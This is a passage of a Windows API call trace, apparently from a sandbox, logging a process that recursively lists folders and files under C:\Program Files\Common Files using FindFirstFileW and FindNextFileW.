ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0273.297] GetLastError () returned 0x12 [0273.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.299] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.299] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0273.300] GetLastError () returned 0x12 [0273.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.301] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.301] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0273.301] GetLastError () returned 0x12 [0273.301] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.301] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.301] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0273.301] GetLastError () returned 0x12 [0273.301] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.302] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.302] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0273.302] GetLastError () returned 0x12 [0273.302] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.302] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.302] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0273.302] GetLastError () returned 0x12 [0273.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.304] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.304] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0273.304] GetLastError () returned 0x12 [0273.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.304] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.304] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0273.304] GetLastError () returned 0x12 [0273.304] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.304] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.304] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0273.304] GetLastError () returned 0x12 [0273.304] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.304] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.305] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0273.305] GetLastError () returned 0x12 [0273.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.305] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.305] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0273.305] GetLastError () returned 0x12 [0273.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.306] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.306] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0273.306] GetLastError () returned 0x12 [0273.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.307] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.308] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0273.308] GetLastError () returned 0x12 [0273.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x3a0e4e4 | out: lpFindFileData=0x3a0e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.308] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x3a0e4e4 | out: lpFindFileData=0x3a0e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.308] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x3a0e4e4 | out: lpFindFileData=0x3a0e4e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0273.308] GetLastError () returned 0x12 [0273.308] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.308] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.308] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0273.308] GetLastError () returned 0x12 [0273.308] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.308] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.308] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0273.309] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.309] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.309] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0273.309] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.309] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.309] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0273.309] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0273.309] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.309] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0273.309] GetLastError () returned 0x12 [0273.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0273.310] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.310] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0273.310] GetLastError () returned 0x12 [0273.310] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0273.310] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.310] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0273.310] GetLastError () returned 0x12 [0273.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0273.310] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.310] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, 